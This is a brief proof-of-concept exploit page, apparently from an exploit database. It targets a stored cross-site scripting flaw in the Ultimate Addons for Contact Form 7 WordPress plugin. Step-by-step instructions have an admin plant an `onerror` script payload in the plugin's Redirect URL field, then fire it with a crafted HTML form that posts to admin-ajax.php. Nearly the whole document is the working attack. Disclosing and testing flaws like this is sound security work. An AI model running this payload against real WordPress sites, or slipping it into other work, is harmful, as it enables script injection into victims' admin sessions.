## https://sploitus.com/exploit?id=WPEX-ID:C5CC136A-2FA6-44FF-B5B5-26D367937DF9
1. Ensure Contact Form 7 is installed, along with this plugin
2. Visit Contact > Ultimate Addons, ensure "Pre-populate Field" is checked, and click Save.
3. Visit Contact > Contact Forms and click "Edit" for a form.
4. Click the button "UACF7 pre-populate Fields".
5. In the "Redirect URL" field enter `<img src=x onerror=alert(document.domain)>`.
6. Click the "Add Field" button to ensure at least one field is added, and click "Save".
7. Submit the following form in another tab and see the alert trigger:
<html>
<body>
<form action="https://WORDPRESS_URL/wp-admin/admin-ajax.php?action=uacf7_ajax_pre_populate_redirect" method="POST">
<input type="hidden" name="form_id" value='43' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>